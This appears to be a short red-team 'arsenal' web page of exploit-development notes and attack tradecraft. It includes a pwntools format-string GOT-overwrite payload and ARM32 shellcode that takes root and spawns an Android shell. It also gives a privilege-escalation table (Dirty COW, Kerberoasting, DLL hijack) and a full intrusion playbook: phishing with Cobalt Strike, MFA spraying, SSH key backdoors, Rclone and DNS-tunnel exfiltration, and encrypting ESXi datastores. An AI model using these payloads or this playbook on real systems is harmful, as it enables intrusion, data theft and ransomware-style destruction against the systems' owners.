.-'''-.
     / .===. \
     \/ 0 0 \/
     (   _   )  The Black Box
      `-___-´  Red-Team Arsenal
    

Exploit development notes and adversary tradecraft. For educational use only.

Exploit-Dev Quickstart

Classic Stack Overflow

Overwrite EIP on 32-bit Linux. Compile with -fno-stack-protector -z execstack.

Format String Write-4-Bytes

Directly overwrite .got entries with %n. Use pwntools fmtstr_payload.

from pwn import *
addr = 0x0804a00c   # puts@GOT
payload = fmtstr_payload(7, {addr: 0x0804867b})
          

Shellcode Cookbook

Linux x64 execve /bin/sh (22 bytes)

Windows 64-bit MessageBoxA

Arm32 /system/bin/sh for Android

push {r7}            @ setuid(0)
mov  r7, #0x17
mov  r0, #0
svc  0

adr  r0, binsh      @ execve
eor  r1, r1, r1
push {r0, r1}
mov  r7, #0xb
svc  0
binsh: .asciz "/system/bin/sh"

Privilege Escalation Matrix

OS Vector Tool Reference
Linux Kernel exploit dirtycow.c CVE-2016-5195
Linux SUID misconfig linpeas HackTricks
Windows Kerberoasting Rubeus ADSecurity
Windows DLL hijack Process Monitor PentestLab

Red-Team Methodology

Recon

  • Subfinder → sublist.txt
  • httpx probe 443/80
  • Naabu fast port scan
  • Nmap service fingerprint

Initial Access

  • Phishing with CobaltStrike Bofs
  • Exposed Jenkins script-console
  • VPN brute w/ hydra + MFA spray

Persistence

  • Scheduled Task XML drop
  • SSH authorized_keys backdoor
  • Chrome extension autostart

Exfil & Impact

  • Rclone S3 sync over 443
  • DNS tunneling via iodine
  • Encrypt ESXi datastore